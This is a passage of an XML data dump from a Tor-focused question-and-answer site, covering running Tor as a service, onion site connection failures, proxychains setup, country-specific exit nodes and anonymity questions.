have Tor installed (and the path to your torrc) and the &lt;code&gt;User&lt;/code&gt; field to whichever user you wish to run Tor as (it's generally a good idea to make a separate user for Tor or any other daemons to minimize damage from potential remote code execution attacks that may be present in the daemon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also need to reload the service files after you create the Tor service:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# systemctl daemon-reload&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;No init system&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you really want to just run Tor yourself without using your init system, you can run it as a background process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ /usr/bin/tor -f /etc/tor/torrc &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(if Tor is already running, you can send &lt;code&gt;^Z&lt;/code&gt; to move it to the background) and bring it back to the foreground later using the &lt;code&gt;fg&lt;/code&gt; command, or run it in your favorite terminal multiplexer (eg. screen or tmux):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ screen /usr/bin/tor -f /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And detach from the screen using &lt;code&gt;Ctrl-a&lt;/code&gt; and then &lt;code&gt;d&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See your multiplexer's man page for info on connecting / disconnecting from teh session. You should not run Tor as root under any circumstances; best to create a new user with limited permissions and run the above commands as that user.&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastEditorUserId="-1" LastEditDate="2015-08-28T15:54:33.687" LastActivityDate="2015-08-28T15:54:33.687" CommentCount="9" CommunityOwnedDate="2014-11-12T16:46:06.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="4589" PostTypeId="1" CreationDate="2014-11-11T13:21:36.283" Score="1" ViewCount="120" Body="&lt;p&gt;This question came after seeing CloudFlare captchas, forums outright banning Tor IPs to protect themselves from malicious traffic, and all manner of hurdles where sites simply don't want Tor traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gave me a theoretical question - if everyone was using Tor, and sites couldn't distinguish between users based on IP, how would they protect themselves from spam and malicious traffic? Would they simply have to accept that there is nothing they can do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would it be in such an alternative reality world that you need to enter a captcha for every site you visit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some similar questions, such as &lt;a href=&quot;https://tor.stackexchange.com/questions/476/how-to-protect-against-dos-but-not-harm-tor-users&quot;&gt;How to protect against DoS but not harm Tor users&lt;/a&gt; and &lt;a href=&quot;https://tor.stackexchange.com/questions/3537/how-to-best-help-site-operators-protect-themselves-from-tor-based-abuse&quot;&gt;How to best help site operators protect themselves from Tor based abuse?&lt;/a&gt;, but I believe that mine is a little different because I'm curious what would be done in a theoretical scenario where everyone uses Tor, so blocking it is not an option.&lt;/p&gt;&#xA;" OwnerUserId="4899" LastEditorUserId="88" LastEditorDisplayName="user66" LastEditDate="2015-07-03T20:28:45.673" LastActivityDate="2015-07-04T15:27:00.460" Title="If everyone used Tor, how would websites protect themselves from malicious traffic?" Tags="|dos|abuse|spam|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4590" PostTypeId="2" ParentId="4580" CreationDate="2014-11-11T13:30:49.267" Score="1" Body="&lt;p&gt;Tor should always be starting as &lt;code&gt;tor.exe&lt;/code&gt; on Windows, or &lt;code&gt;tor&lt;/code&gt; on Unix'y systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#NTService&quot; rel=&quot;nofollow&quot;&gt;create a service&lt;/a&gt;, which will be called &quot;Tor Win32 Service&quot;. You will need to run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --service install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or for extra options,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --service install -options -f C:\tor\torrc [Option Value]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="653" LastActivityDate="2014-11-11T13:30:49.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4591" PostTypeId="2" ParentId="1636" CreationDate="2014-11-12T01:43:18.903" Score="0" Body="&lt;p&gt;In Tor Browser Bundle, you can specify the country of the ExitNodes by editing the file &quot;torrc-defaults&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details:&#xA;&lt;a href=&quot;http://miscool.blogspot.com/2014/11/how-to-get-fake-ip-address-of-specific-country.html&quot; rel=&quot;nofollow&quot;&gt;http://miscool.blogspot.com/2014/11/how-to-get-fake-ip-address-of-specific-country.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see also:&#xA;&lt;a href=&quot;http://malwaretips.com/threads/how-to-change-ip-address-on-tor-browser-into-specific-country.27653/&quot; rel=&quot;nofollow&quot;&gt;http://malwaretips.com/threads/how-to-change-ip-address-on-tor-browser-into-specific-country.27653/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not sure how to do that for a specific city.&lt;/p&gt;&#xA;" OwnerUserId="5084" LastActivityDate="2014-11-12T01:43:18.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4592" PostTypeId="2" ParentId="3931" CreationDate="2014-11-12T01:53:21.190" Score="2" Body="&lt;p&gt;The lastest Tor Browser allows you to activate Flash Player although you should be aware that this is insecure. You need to install Flash Player for FireFox first at &lt;a href=&quot;http://get.adobe.com/flashplayer/&quot; rel=&quot;nofollow&quot;&gt;http://get.adobe.com/flashplayer/&lt;/a&gt; . Then go to &quot;about:addons&quot; to activate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;http://miscool.blogspot.com/2014/11/how-to-get-fake-ip-address-of-specific-country.html&quot; rel=&quot;nofollow&quot;&gt;http://miscool.blogspot.com/2014/11/how-to-get-fake-ip-address-of-specific-country.html&lt;/a&gt;&#xA;(see the post's second part on how to activate Flash plugin manually.)&lt;/p&gt;&#xA;" OwnerUserId="5084" LastActivityDate="2014-11-12T01:53:21.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4593" PostTypeId="2" ParentId="2080" CreationDate="2014-11-12T01:59:04.230" Score="1" Body="&lt;p&gt;This is possible. You first need to get a fake IP for the specific region, then you need to activate the Flash plugin, which by default is disabled in the Tor Browser.&#xA;Check the answer of&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/1636/ip-address-in-specific-city/4591#4591&quot;&gt;IP address in specific city&lt;/a&gt; for IP address and the answer of&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/3931/why-cant-tor-browser-use-adobe-flash-player/4592#4592&quot;&gt;Why can&amp;#39;t Tor Browser use Adobe Flash Player?&lt;/a&gt; for Flash plugin.&lt;/p&gt;&#xA;" OwnerUserId="5084" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-11-12T01:59:04.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4595" PostTypeId="1" CreationDate="2014-11-12T04:56:02.297" Score="0" ViewCount="21" Body="&lt;p&gt;cloud.torproject.org describes an image that can be used in Amazon E2C service. It mentions that this image is already configured with package updates and port forwarding.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The images have been configured with automatic package updates and port forwarding, so you do not have to worry about Tor not working or the server not getting security updates. Get started with Tor Cloud&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I am not able to find this image nor download it from anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can this image be downloaded from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I am using Ubuntu 14.01 LTS with Tor installed from Tor repositories and have the relay up and running. I would like to know better options. &lt;/p&gt;&#xA;" OwnerUserId="4990" LastActivityDate="2014-11-12T10:12:20.267" Title="Cannot find the Amazon E2C Image" Tags="|relays|exit-relays|configuration|relay-adversary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4596" PostTypeId="2" ParentId="4595" CreationDate="2014-11-12T10:12:20.267" Score="1" Body="&lt;p&gt;Follow the steps described on &lt;a href=&quot;https://cloud.torproject.org/#get_started&quot; rel=&quot;nofollow&quot;&gt;https://cloud.torproject.org/#get_started&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IDs of the images are &lt;code&gt;ami-4a7c1a23&lt;/code&gt; for an obfsproxy bridge and &lt;code&gt;ami-567c1a3f&lt;/code&gt; for a private bridge. You don't need to download them to install them in E2C.&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2014-11-12T10:12:20.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4597" PostTypeId="1" CreationDate="2014-11-12T18:15:46.153" Score="1" ViewCount="436" Body="&lt;p&gt;I can't get the following page to load although i've tried lots of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/user/sfrfreestyle?x=us-en_sfr_187_3&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/user/sfrfreestyle?x=us-en_sfr_187_3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running 4.0.1 web bundle (Windows 7). The main part of the page loads but not the youtube playlist video part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I' tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;allowing scipts in noscrip;&lt;/li&gt;&#xA;&lt;li&gt;delete noscript from the addons;&lt;/li&gt;&#xA;&lt;li&gt;installed quick java - activated js, ja and f;&lt;/li&gt;&#xA;&lt;li&gt;several new identities;&lt;/li&gt;&#xA;&lt;li&gt;installed Tor version 4.0 and 3.6.6;&lt;/li&gt;&#xA;&lt;li&gt;tested the page in chrome and firefox - worked there;&lt;/li&gt;&#xA;&lt;li&gt;installed adobe flash for firefox and set it to allways activated in tor;&lt;/li&gt;&#xA;&lt;li&gt;normal youtube playlists work;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Nothing worked.&#xA;ill update this when I find new possible solutions or the final solution.&lt;/p&gt;&#xA;" OwnerUserId="5088" LastEditorUserId="5088" LastEditDate="2014-11-12T19:09:03.390" LastActivityDate="2014-11-12T19:09:03.390" Title="Why doesnt this page load?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4598" PostTypeId="1" AcceptedAnswerId="4600" CreationDate="2014-11-13T00:04:45.360" Score="9" ViewCount="56468" Body="&lt;p&gt;I think that 80% of the onion sites I'm trying to reach are most of the time (if not always) unavailable. It tells me that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Firefox can't estabilish a connection to the server at *****.onion&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The site could be temporarily unavailable or too busy. Try again in a few moments.&#xA;  If you are unable to load any pages, check your computer's network connection.&#xA;  If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the Web.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm running TBB 4.0.1 for x64 Linux and I don't use firewalls or proxy servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it happen and how can I fix this issue?&lt;/p&gt;&#xA;" OwnerUserId="5089" LastEditorUserId="5445" LastEditDate="2015-05-27T19:50:14.820" LastActivityDate="2015-12-08T19:08:31.400" Title="Most .onion sites I am trying to access are unavailable: Why and how can I solve this?" Tags="|tor-browser-bundle|onion-services|website|" AnswerCount="1" CommentCount="1" ClosedDate="2015-12-09T15:26:13.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="4599" PostTypeId="1" CreationDate="2014-11-13T00:12:23.360" Score="2" ViewCount="6536" Body="&lt;p&gt;I'm trying to use proxychain on tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first I can't use iceweasel with proxychains. I get the error :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/usr/bin/proxychains: 9: exec: iceweasel: notfound&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I use tor-browser instead.&#xA;But when I try to use the socks5 proxy I get a timeout on iceweasel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I configure the proxy directly in the the config panel of tor-browser I says that the server  is refusing connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proxy is working perfectly on firefox on windows and tor browser on windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to setup proxychains on a kali distrib.&#xA;When I use tor alone, it works.&#xA;When I use my socks5 server (dante-server) alone, it works.&#xA;But when I use both, the connection just get denied : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;|S-chain| -&amp;lt;&gt;-127.0.0.1:9050-&amp;lt;&gt;-127.0.0.1:1080-&amp;lt;--denied&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I ssh connect to my socks5 server with :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ssh -NfD 1080 user@address.com&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And in my proxychains.conf : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;#dynamic_chain &lt;br/&gt;&#xA;  strict_chain &lt;br/&gt;&#xA;  proxy_dns &lt;br/&gt;&#xA;  tcp_read_time_out 15000 &lt;br/&gt;&#xA;  tcp_connect_time_out 8000 &lt;br/&gt;&lt;br/&gt;&#xA;  #For tor &lt;br/&gt;&#xA;  socks4 127.0.0.1 9050 &lt;br/&gt;&#xA;  #Proxy server &lt;br/&gt;&#xA;  socks5 127.0.0.1 1080 &lt;br/&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2 :&lt;/strong&gt; Apparently it could be a problem of my dante's configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried to allow connections from any IP address in dante, I'm not sure if it's right :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;logoutput: /var/log/dante.log&#xA;&#xA;internal: 127.0.0.1 port = 1080&#xA;external: venet0&#xA;method: username none&#xA;user.notprivileged: nobody&#xA;&#xA;client pass {&#xA;  from: 0.0.0.0/0 port 1-65535 to: 0.0.0.0/0&#xA;  protocol: tcp udp&#xA;}&#xA;pass {&#xA;  from: 0.0.0.0/0 to: 0.0.0.0/0&#xA;  protocol: tcp udp&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's still not working&lt;/p&gt;&#xA;" OwnerUserId="5091" LastEditorUserId="5091" LastEditDate="2014-11-13T14:04:54.967" LastActivityDate="2017-05-06T20:07:45.097" Title="Tail proxychains socks5 proxy timeout" Tags="|tails|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4600" PostTypeId="2" ParentId="4598" CreationDate="2014-11-13T00:44:09.483" Score="7" Body="&lt;p&gt;Can you connect to &lt;a href=&quot;https://check.torproject.org/&quot;&gt;Tor Check&lt;/a&gt;? Does it confirm that you are connected to Tor? If so, then the hidden services you are trying to access are down. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I think that 80% of the onion sites I'm trying to reach are most of the time (if not always) unavailable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is pretty common. Torland isn't known for its stability. Hidden services come and go without any trace all the time. Try connecting sometime later.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-11-13T00:44:09.483" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4601" PostTypeId="1" CreationDate="2014-11-13T18:29:26.470" Score="1" ViewCount="20203" Body="&lt;p&gt;Every website I try, Tor says it cant connect to it. When I start Tor it says congratulations you have connected to the tor network!  Then it says your ip address appears to be. xxx.xx.xxx.xx. So why wont it let me connect to onion sites. Below is what I get This is just an example of what it says Ive tried over 50 websites.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Unable to connect&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;Firefox can't establish a connection to the server at eqt5g4fuenphqinx.onion.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The site could be temporarily unavailable or too busy. Try again in a few moments.&#xA;     If you are unable to load any pages, check your computer's network connection.&#xA;     If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the Web.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5094" LastEditorDisplayName="user5" LastEditDate="2014-11-13T18:38:27.457" LastActivityDate="2014-11-13T22:51:13.180" Title="How do you connect to onion websites" Tags="|help|" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-14T12:15:31.540" ContentLicense="CC BY-SA 3.0" />
  <row Id="4602" PostTypeId="1" CreationDate="2014-11-13T20:06:15.883" Score="2" ViewCount="3935" Body="&lt;p&gt;My laptop computer has Debian stable 7 installed and I downloaded the 64bit Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to connect to Tor, the error message is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor failed to establish a Tor network connection.&#xA;&#xA;Connecting to a relay directory failed (no route to host).&#xA;&#xA;username@hostname:~$ cd tor&#xA;username@hostname:~/tor$ ./tor-browser&#xA;Launching Tor Browser for Linux in /home/username/tor/Browser...&#xA;1234567890123   addons.xpi-utils    ERROR   Unable to read anything useful from the database&#xA;Nov 13 03:21:22.183 [notice] Tor v0.2.5.10 (git-13318a95ddfbbf8d) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1i and Zlib 1.2.7.&#xA;Nov 13 03:21:22.183 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 13 03:21:22.183 [notice] Read configuration file &quot;/home/username/tor/Browser/TorBrowser/Data/Tor/torrc-defaults&quot;.&#xA;Nov 13 03:21:22.183 [notice] Read configuration file &quot;/home/username/tor/Browser/TorBrowser/Data/Tor/torrc&quot;.&#xA;Nov 13 03:21:22.185 [notice] Opening Control listener on 127.0.0.1:9151&#xA;Nov 13 03:21:22.185 [notice] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;Nov 13 03:21:22.000 [notice] Parsing GEOIP IPv4 file /home/username/tor/Browser/TorBrowser/Data/Tor/geoip.&#xA;Nov 13 03:21:22.000 [notice] Parsing GEOIP IPv6 file /home/username/tor/Browser/TorBrowser/Data/Tor/geoip6.&#xA;Nov 13 03:21:22.000 [notice] Bootstrapped 0%: Starting&#xA;Nov 13 03:21:22.000 [notice] Delaying directory fetches: DisableNetwork is set.&#xA;Nov 13 03:21:22.000 [notice] New control connection opened from 127.0.0.1.&#xA;Nov 13 03:21:22.000 [notice] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;Nov 13 03:21:22.000 [notice] New control connection opened from 127.0.0.1.&#xA;Nov 13 03:21:25.000 [notice] Opening Socks listener on 127.0.0.1:9150&#xA;Nov 13 03:21:25.000 [notice] Renaming old configuration file to &quot;/home/username/tor/Browser/TorBrowser/Data/Tor/torrc.orig.1&quot;&#xA;Nov 13 03:21:25.000 [notice] Bootstrapped 5%: Connecting to directory server&#xA;Nov 13 03:21:28.000 [warn] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (No route to host; NOROUTE; count 1; recommendation warn)&#xA;Nov 13 03:21:31.000 [warn] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (No route to host; NOROUTE; count 3; recommendation warn)&#xA;Nov 13 03:21:31.000 [warn] 2 connections have failed:&#xA;Nov 13 03:21:31.000 [warn]  2 connections died in state connect()ing with SSL state (No SSL object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that to find a solution on this forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some additional info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hotel at which I am staying uses the default gateway 192.168.200.1 instead of the conventional 192.168.1.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a wired connection.&lt;/p&gt;&#xA;" OwnerUserId="3509" LastActivityDate="2016-06-16T16:09:49.840" Title="No route to host" Tags="|directory|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4603" PostTypeId="2" ParentId="4601" CreationDate="2014-11-13T22:51:13.180" Score="1" Body="&lt;p&gt;In order to resolve a .onion address, you will need to make your web browser use Socks5 remote DNS, since only the Tor system is aware of .onion addresses. You will need to configure your browser accordingly. Since I do not know what browser you are using, I will show a Firefox example (since TBB uses Firefox by default anyway):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6gQuY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2014-11-13T22:51:13.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4605" PostTypeId="2" ParentId="2080" CreationDate="2014-11-14T06:25:30.737" Score="1" Body="&lt;p&gt;Stealthy is good. The other option is to use psiphon to appear to be in a different country. Also its dependent on whether the web server or the CDN/streaming server is doing the checks. I'm no expert at web development, but I imagine the html-serving servers are doing the country checks, in which case using flash should theoretically work but it will also expose your real ip address, for those who are concerned about that. Why can't someone make a gnash open source flash plugin that plays videos?!&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-11-14T06:25:30.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4606" PostTypeId="1" CreationDate="2014-11-14T07:53:31.503" Score="2" ViewCount="658" Body="&lt;p&gt;Within a corporate network I'm sitting behind a DPI (deep packet inspection) firewall. Is there any way to break out?&#xA;I don't know the manufacturer of the firewall - all I know is, that it work with DPI and is also capable to look inside of encrypted (HTTPS) traffic.&lt;/p&gt;&#xA;" OwnerUserId="5096" LastEditorUserId="88" LastEditDate="2016-04-07T16:25:54.270" LastActivityDate="2016-04-07T16:25:54.270" Title="Is there a way through DPI firewall?" Tags="|censorship|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4607" PostTypeId="2" ParentId="2080" CreationDate="2014-11-14T10:25:59.520" Score="1" Body="&lt;p&gt;In the first answer you got the hint to use proxies to watch the videos. Beside Tor there are another way. You could use savefrom.net to watch and download the Videos. Beside: this would not use the limited traffic within the Tor-network.&#xA;Simply go on these website and learn how to use it.&lt;/p&gt;&#xA;" OwnerUserId="5096" LastEditorUserId="923" LastEditDate="2014-11-17T16:13:47.240" LastActivityDate="2014-11-17T16:13:47.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4608" PostTypeId="1" CreationDate="2014-11-14T14:25:35.213" Score="3" ViewCount="3259" Body="&lt;p&gt;While using Tails is it possible to use an exit node based in Norway which I want to use to connect to a Norwegian IRC server (the server blocks non-norwigian IPs). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want all other traffic go through random exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarise... for IRC use 'this' exit node, but for everything else use any exit node.&lt;/p&gt;&#xA;" OwnerUserId="5097" LastEditorUserId="923" LastEditDate="2014-11-23T17:38:40.400" LastActivityDate="2014-11-26T20:09:25.237" Title="How to use a country specific Exit node for IRC, but random exit node for anything else?" Tags="|tails|configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4609" PostTypeId="1" CreationDate="2014-11-14T14:55:29.297" Score="1" ViewCount="627" Body="&lt;p&gt;I would like to anonymously contact a company I work for using my home internet using fictitious name, and email address. I will not provide my phone number and address. Is it possible to do this without my real name or IP address being revealed to the company I work for? What is the chances that The company I work for will be able to figure out who actually I am? &lt;/p&gt;&#xA;" OwnerUserId="5098" LastEditorUserId="923" LastEditDate="2014-11-22T03:20:47.147" LastActivityDate="2014-11-25T14:53:04.920" Title="How to contact the company I work for anonymously?" Tags="|anonymity|security|private|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4611" PostTypeId="1" CreationDate="2014-11-14T17:22:59.503" Score="5" ViewCount="356" Body="&lt;p&gt;What is better option, &lt;strong&gt;electrum&lt;/strong&gt; or &lt;strong&gt;blockchain.info&lt;/strong&gt; when using Tor, regarding anonymity?&#xA;I read here:  &lt;a href=&quot;http://www.coindesk.com/bitcoin-tor-anonymity-can-busted-2500-month/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/bitcoin-tor-anonymity-can-busted-2500-month/&lt;/a&gt; that it's possible to deanonymize Tor user who uses bitcoin protocol. But, they didn't explained how. They only explained that you can use DOS prevention in bitcoin protocol to block all Tor exit nodes from bitcoin network for 24 hours, and than add your own Tor exit nodes, and force all bitcoin traffic trough it. But that still isn't enough to deanonymize Tor user, you still need to control Tor entry node for particular user. &#xA;On the other hand, if this article is right, it is better to use &lt;strong&gt;blockchain.info&lt;/strong&gt; for anonymity, since it doesn't use bitcoin protocol directly.&lt;/p&gt;&#xA;" OwnerUserId="5101" LastEditorUserId="88" LastEditDate="2017-09-25T11:55:00.303" LastActivityDate="2019-04-29T14:02:05.570" Title="Which one is preferable :electrum or blockchain.info in the sense of anonymity?" Tags="|anonymity|security|bitcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4613" PostTypeId="1" CreationDate="2014-11-14T22:04:21.393" Score="9" ViewCount="2611" Body="&lt;p&gt;I'm pretty new to Tor and don't know much about it.&#xA;I was wondering how one would take control of a Tor hidden service if they had the private key.&#xA;There's a darknet website called &quot;DOXBIN&quot; that was seized by the FBI about a week ago; the owners then gave the private key to their friend who re-gained control of the site with it. How did he do this? I'm really curious. I couldn't find anything on Google. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5103" LastActivityDate="2016-11-08T09:10:53.327" Title="How to take control of a Tor hidden service if you have the private key?" Tags="|onion-services|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4615" PostTypeId="2" ParentId="4609" CreationDate="2014-11-15T00:20:21.710" Score="1" Body="&lt;p&gt;If you install Tor browser correctly, or use Tails, the likelihood that you employer will identify you by technical means is very small. Your IP address will be masked and will show in your employer's data-logs as being the IP of the Tor exit-node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the real question then becomes one of whether you will be identifiable on the basis of the content of what you write or the style in which you write it. No definite answer can be given but the following are potential problems that could make you identifiable:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You have already identified yourself to your employer as being a&#xA;person concerned about whatever material you write about in your&#xA;&quot;anonymous&quot; letter.&lt;/li&gt;&#xA;&lt;li&gt;You have a distinctive style of writing, or you use&#xA;particular phrases that can be associated with you. For example &lt;a href=&quot;http://en.wikipedia.org/wiki/Ted_Kaczynski&quot; rel=&quot;nofollow&quot;&gt;Ted&#xA;Kaczynski&lt;/a&gt; was suspected by his brother, &lt;a href=&quot;http://en.wikipedia.org/wiki/David_Kaczynski&quot; rel=&quot;nofollow&quot;&gt;David&lt;/a&gt;, of having&#xA;been the author of the Unabomber manifesto on the basis of unusual&#xA;linguistic aspects (presumably in association with other things that&#xA;David know about him). You reveal knowledge of something that only&#xA;you, or a small group of individuals could have known about at the&#xA;time of writing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="435" LastEditorUserId="435" LastEditDate="2014-11-25T02:49:35.550" LastActivityDate="2014-11-25T02:49:35.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4617" PostTypeId="1" CreationDate="2014-11-15T16:36:22.350" Score="3" ViewCount="4025" Body="&lt;p&gt;Everything is fine and Tor check displays &quot;Congratulations. This browser is configured to use Tor.&quot; but I can't access any onion sites. please help!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;15/11/2014 15:23:01 p.m..970 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;15/11/2014 15:23:01 p.m..972 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;15/11/2014 15:23:02 p.m..233 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;15/11/2014 15:23:02 p.m..659 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;15/11/2014 15:23:02 p.m..660 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;15/11/2014 16:23:09 p.m..253 [NOTICE] Your system clock just jumped 3598 seconds forward; assuming established circuits no longer work. &#xA;15/11/2014 16:23:09 p.m..253 [NOTICE] Tried for 3608 seconds to get a connection to [scrubbed]:443. 